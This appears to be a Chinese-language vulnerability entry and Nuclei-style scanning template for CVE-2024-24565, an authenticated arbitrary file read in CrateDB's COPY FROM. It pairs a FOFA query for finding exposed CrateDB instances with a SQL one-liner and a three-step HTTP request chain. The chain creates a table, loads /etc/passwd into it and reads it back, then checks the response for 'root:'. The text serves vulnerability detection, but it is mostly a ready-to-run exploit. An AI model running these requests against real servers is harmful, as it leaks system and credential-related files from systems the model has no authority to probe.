CVE-2024-24565 CrateDB数据库任意文件读取漏洞

title="CrateDB"

https://github.com/crate/crate

https://cratedb.com/docs/crate/admin-ui/en/latest/

CREATE TABLE info_leak(info_leak STRING);COPY info_leak FROM '/etc/passwd' with (format='csv', header=false);SELECT * FROM info_leak;

id: CVE-2024-24565info:  name: CrateDB数据库任意文件读取漏洞  author: fgz  severity: high  description: CrateDB是一个开源的分布式SQL数据库，它使得实时存储和分析大量数据变得非常简单。CrateDB数据库中有一个COPYFROM函数，用于将文件数据导入到数据库表中。该功能有一个缺陷，通过身份验证的攻击者可以使用COPY FROM功能将任意文件内容导入到数据库表中。从而造成信息泄露。在5.3.9、5.4.8、5.5.4和5.6.1中对该漏洞进行了修补。  metadata:    max-request: 1    fofa-query: title="CrateDB"    verified: truevariables:  table_name: "{{to_lower(rand_text_alpha(8))}}"requests:  - raw:      - |+        POST /_sql?types HTTP/1.1        Host: {{Hostname}}        Access-Control-Allow-Origin: *        Connection: keep-alive        Content-Type: application/json; charset=UTF-8        {"stmt":"CREATE TABLE {{table_name}}(info_leak STRING)"}      - |+        POST /_sql?types HTTP/1.1        Host: {{Hostname}}        Access-Control-Allow-Origin: *        Connection: keep-alive        Content-Type: application/json; charset=UTF-8        {"stmt":"COPY {{table_name}} FROM '/etc/passwd' with (format='csv', header=false)"}      - |+        POST /_sql?types HTTP/1.1        Host: {{Hostname}}        Access-Control-Allow-Origin: *        Connection: keep-alive        Content-Type: application/json; charset=UTF-8        {"stmt":"SELECT * FROM {{table_name}} limit 10"}    matchers:      - type: dsl        dsl:          - "status_code_1 == 200 && status_code_2 == 200 && status_code_3 == 200 && contains(body_3, 'root:')"